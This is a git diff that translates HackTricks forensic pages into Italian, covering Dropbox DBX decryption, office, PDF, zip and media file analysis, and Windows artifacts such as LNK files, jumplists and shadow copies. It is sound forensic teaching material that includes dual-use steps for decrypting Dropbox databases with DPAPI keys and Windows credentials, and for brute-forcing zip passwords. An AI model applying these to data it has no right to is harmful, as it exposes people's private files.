[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Per comprendere meglio la crittografia che utilizza Dropbox, puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Tuttavia, le informazioni principali sono: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +A parte queste informazioni, per decriptare i database hai ancora bisogno di: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- La **chiave DPAPI criptata**: Puoi trovarla nel registro all'interno di `NTUSER.DAT\Software\Dropbox\ks\client` (esporta questi dati come binari) +- I rami **`SYSTEM`** e **`SECURITY`** +- Le **chiavi master DPAPI**: Che possono essere trovate in `\Users\\AppData\Roaming\Microsoft\Protect` +- Il **nome utente** e la **password** dell'utente Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Poi puoi usare lo strumento [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricetta cyber_chef]() mettendo la chiave primaria come "passphrase" all'interno della ricetta. +L'hex risultante è la chiave finale utilizzata per criptare i database che può essere decriptata con: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +Il database **`config.dbx`** contiene: -The **`config.dbx`** database contains: +- **Email**: L'email dell'utente +- **usernamedisplayname**: Il nome dell'utente +- **dropbox_path**: Percorso dove si trova la cartella dropbox +- **Host_id: Hash** utilizzato per autenticarsi nel cloud. Questo può essere revocato solo dal web. +- **Root_ns**: Identificatore dell'utente -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +Il database **`filecache.db`** contiene informazioni su tutti i file e le cartelle sincronizzati con Dropbox. La tabella `File_journal` è quella con più informazioni utili: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Percorso dove si trova il file all'interno del server (questo percorso è preceduto dal `host_id` del client). +- **local_sjid**: Versione del file +- **local_mtime**: Data di modifica +- **local_ctime**: Data di creazione -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Altre tabelle all'interno di questo database contengono informazioni più interessanti: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash di tutti i file e le cartelle di Dropbox +- **block_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal` +- **mount_table**: Cartelle condivise di dropbox +- **deleted_fields**: File eliminati da Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..666bf6c4e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Analisi dei file Office {{#include ../../../banners/hacktricks-training.md}} -
+Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ha creato molti formati di documenti office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli obiettivi per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite decompressione, rivelando la gerarchia di file e cartelle e i contenuti dei file XML. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Tecniche per nascondere dati in questi file sono state documentate, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano a identificare e analizzare le macro incorporate, che spesso fungono da vettori per la consegna di malware, tipicamente scaricando ed eseguendo payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di osservazione. +L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..495661dee 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Analisi dei file PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Il formato PDF è noto per la sua complessità e il potenziale di nascondere dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento al [materiale introduttivo di Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +Per un'esplorazione o manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere celati in: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Livelli invisibili +- Formato XMP metadata di Adobe +- Generazioni incrementali +- Testo dello stesso colore dello sfondo +- Testo dietro immagini o immagini sovrapposte +- Commenti non visualizzati -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Per un'analisi personalizzata dei PDF, si possono utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di parsing su misura. Inoltre, il potenziale del PDF per la memorizzazione di dati nascosti è così vasto che risorse come la guida della NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono ancora preziose informazioni. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono fornire ulteriori letture sull'argomento. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..5fdabc15e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +I **file PNG** sono molto apprezzati nelle **sfide CTF** per la loro **compressione senza perdita**, rendendoli ideali per l'incorporamento di dati nascosti. Strumenti come **Wireshark** consentono l'analisi dei file PNG dissecando i loro dati all'interno dei pacchetti di rete, rivelando informazioni incorporate o anomalie. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Per controllare l'integrità dei file PNG e riparare la corruzione, **pngcheck** è uno strumento cruciale, che offre funzionalità da riga di comando per convalidare e diagnosticare i file PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando i file sono oltre semplici riparazioni, servizi online come [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) forniscono una soluzione web per **riparare PNG corrotti**, aiutando nel recupero di dati cruciali per i partecipanti al CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Queste strategie sottolineano l'importanza di un approccio completo nei CTF, utilizzando una combinazione di strumenti analitici e tecniche di riparazione per scoprire e recuperare dati nascosti o persi. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..f3aa85528 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**La manipolazione di file audio e video** è un elemento fondamentale nelle **sfide forensi CTF**, sfruttando **steganografia** e analisi dei metadati per nascondere o rivelare messaggi segreti. Strumenti come **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** sono essenziali per ispezionare i metadati dei file e identificare i tipi di contenuto. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Per le sfide audio, **[Audacity](http://www.audacityteam.org/)** si distingue come uno strumento principale per visualizzare forme d'onda e analizzare spettrogrammi, essenziali per scoprire testi codificati nell'audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** è altamente raccomandato per un'analisi dettagliata degli spettrogrammi. **Audacity** consente la manipolazione audio come rallentare o invertire tracce per rilevare messaggi nascosti. **[Sox](http://sox.sourceforge.net/)**, un'utilità da riga di comando, eccelle nella conversione e modifica di file audio. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +La manipolazione dei **Bit meno significativi (LSB)** è una tecnica comune nella steganografia audio e video, sfruttando i chunk di dimensioni fisse dei file multimediali per incorporare dati in modo discreto. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** è utile per decodificare messaggi nascosti come **toni DTMF** o **codice Morse**. -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +Le sfide video spesso coinvolgono formati contenitore che raggruppano flussi audio e video. **[FFmpeg](http://ffmpeg.org/)** è il punto di riferimento per analizzare e manipolare questi formati, capace di demultiplexare e riprodurre contenuti. Per gli sviluppatori, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra le capacità di FFmpeg in Python per interazioni avanzate scriptabili. -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Questa gamma di strumenti sottolinea la versatilità richiesta nelle sfide CTF, dove i partecipanti devono impiegare un ampio spettro di tecniche di analisi e manipolazione per scoprire dati nascosti all'interno di file audio e video. -## References +## Riferimenti - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..54cab9bc3 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Strumenti da riga di comando** per gestire **file zip** sono essenziali per diagnosticare, riparare e decifrare file zip. Ecco alcune utilità chiave: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi. +- **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato del file zip. +- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli. +- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il cracking a forza bruta delle password zip, efficace per password fino a circa 7 caratteri. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +La [specifica del formato del file Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +È cruciale notare che i file zip protetti da password **non criptano i nomi dei file o le dimensioni dei file** al loro interno, un difetto di sicurezza non condiviso con i file RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il metodo ZipCrypto più vecchio sono vulnerabili a un **attacco in chiaro** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per decifrare la password del zip, una vulnerabilità dettagliata nell'[articolo di HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo documento accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo attacco in chiaro, dimostrando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili. ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..6f604f714 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -8,497 +8,487 @@ ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Nel percorso `\Users\\AppData\Local\Microsoft\Windows\Notifications` puoi trovare il database `appdb.dat` (prima dell'anniversario di Windows) o `wpndatabase.db` (dopo l'anniversario di Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +All'interno di questo database SQLite, puoi trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Il database si trova nel percorso `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dalla intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui il file è stato scaricato. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\ +Quando un file viene eliminato in questa cartella vengono creati 2 file specifici: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Informazioni sul file (data di quando è stato eliminato) +- `$R{id}`: Contenuto del file ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) ### Volume Shadow Copies -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy. ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non eseguire il backup**: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`. ### Office AutoSaved Files -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## Shell Items -A shell item is an item that contains information about how to access another file. +Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file. ### Recent Documents (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +In questo strumento troverai **2 set** di timestamp: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Primo Set:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Secondo Set:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Il primo set di timestamp fa riferimento ai **timestamp del file stesso**. Il secondo set fa riferimento ai **timestamp del file collegato**. +Puoi ottenere le stesse informazioni eseguendo lo strumento CLI di Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +In questo caso, le informazioni verranno salvate all'interno di un file CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Questi sono i file recenti che vengono indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Il **tempo di creazione** di qualsiasi 